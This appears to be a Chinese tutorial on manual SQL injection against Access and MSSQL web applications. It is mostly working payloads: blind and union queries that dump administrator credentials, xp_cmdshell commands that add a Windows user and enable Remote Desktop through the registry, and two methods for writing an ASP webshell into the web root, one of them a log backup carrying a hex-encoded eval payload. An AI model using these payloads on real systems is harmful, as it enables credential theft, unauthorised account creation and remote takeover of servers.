access/mssql手动注入
一.本文介绍
【access/mssql手动注入】1、本文介绍access手工注入、mssql注入获取webshell
二.手动注入
1、access手工注入:
Access只能暴力猜解,支持的数据库语句比较少。
先参数后面接 ' 出现错误或and 1=1;and 1=2,页面不同;则存在注入。
exists:检查查询的语句是否存在,存在返回True,不存在返回flse。
1.猜表:and exists(select * from administrator)
参数后接:and exists(select * from administrator)若表存在,页面显示正常;不存在会报错(可用burp爆表)。
2.猜字段:and exists(select user_name from administrator)
参数后接:and exists(select user_name from administrator)若字段存在,页面显示正常;不存在会报错(可用burp爆字段)。
3.猜字段长度:and (select top 1 len(user_name) from administrator)>4
5是我们要猜的长度,len为长度函数。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面
4.猜解字段内容:and (select top 1 asc(mid(user_name,1,1)) from administrator)>97(mid(user_name,2,1)min为从第几位开始截取1位)
97是我们要猜的asc码。当长度符合我们猜的长度,会返回正常页面,否则返回的不是正常页面。最后一位一位的才出来即可得出用户名。密码也可以用这个办法猜出(mid(password,1,1)),若MD5,解密即可。
ASCII ((American Standard Code for Information Interchange): 美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准,并等同于国际标准ISO/IEC 646,到目前为止共定义了128个字符 。ASCII大于0为字母,小于0为汉字
ASCII详解
文章图片
Asc为100的字母为d
5.高级语句:
判断字段数 :参数后面接:order by 7 ;7为我们要猜的字段数。当前 数据表的字段数。(asc为升序,从小到大;desc为降序,从大到小;order by 默认升序)
爆出显示位 :参数后面接:若显示位准确,则会显示对应数字。
爆出字段后查询administrator 的账号密码:union select ID,user_name,password,4,5,6,7 from administrator
文章图片
md5密码
6、偏移注入与跨库查询 ,夸库需要知道绝对路径,所以一般不适用。(在5高级语法中,用:order by 爆出了当前表字段数为7)Acssecc才有偏移,sql等没有偏移注入。2、mssql注入获取webshell
偏移注入: 在注入过程中,可能会遇到注入知道表名,但是不知道列名,从而无法继续猜解,此时需要偏移注入解决。
判断表名:union select 1,2,……,22,* from administrator(联合查询爆显位)
开始偏移注入:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from administrator #错误
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from administrator #错误
直到.........:
union select 1,2,3,4,* from administrator#正确 (爆出显示内容)
7-4=3,所以administrator 表的字段为3
union select 1,a.id,b.id,* from (administrator as a inner join administrator as b on a.id=b.id)
1.判断权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))(最高权限)
and 1=(select is_srvrolemember('db_owner'))(可以获取webshell)用到比较多
and 1=(select is_srvrolemember('public'))(只能看)
2.如果是sa权限并已恢复master..xp_cmdshell可以直接执行3.如果不具备sa权限,是dbowner权限
参数后面接:; exec%20master..xp_cmdshell%20%27net%20user%20test%20test%20/add%27
参数后面接:; exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
获取网站路径第一种方法
参数后面接:; exec master..xp_cmdshell 'netstat -an >>c:\netstat.txt'
第二种方法
http://192.168.1.55/sqlserver/1.aspx?xxser=1; drop table black; create Table black(result varchar(7996) null, id int not null identity (1,1))--http://192.168.1.55/sqlserver/1.aspx?xxser=1 ; insert into black exec master..xp_cmdshell 'dir c:\ '--
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--
一句话木马写入到网站根目录下面:
http://192.168.0.105/sqlserver/1.aspx?xxser=1%20; exec%20master..xp_cmdshell%20'Echo%20""%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'-
文章图片
文章图片
通过工具或手工直接差异备份获取webshell
http://192.168.0.102/sqlserver/1.aspx?xxser=1; alter database testdb set RECOVERY FULL; create table test_tmp(str image); backup log testdb to disk='c:\test1' with init; insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E); backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp'; alter database testdb set RECOVERY simple
推荐阅读
- 【Flink】Flink手动触发savepoint失败问题
- 手动实现bind方法
- 你还在手动备份电脑文件吗(FileYee帮你一键解决数据自动备份!)
- 图片转文字,你还在手动输入吗()
- 如何使用rotation-degrees手动旋转(rotate)exoplayer2播放器
- iOS-App启动优化
- android仿微信录制短视频,拍照,自动聚焦,手动聚焦,滑动缩放功能(Camera+TextureView+rxjava实现)
- 记一次手动实现mybatis框架findAll功能
- 如何在mac上手动安装gradle
- AndroidStudio Gradle手动下载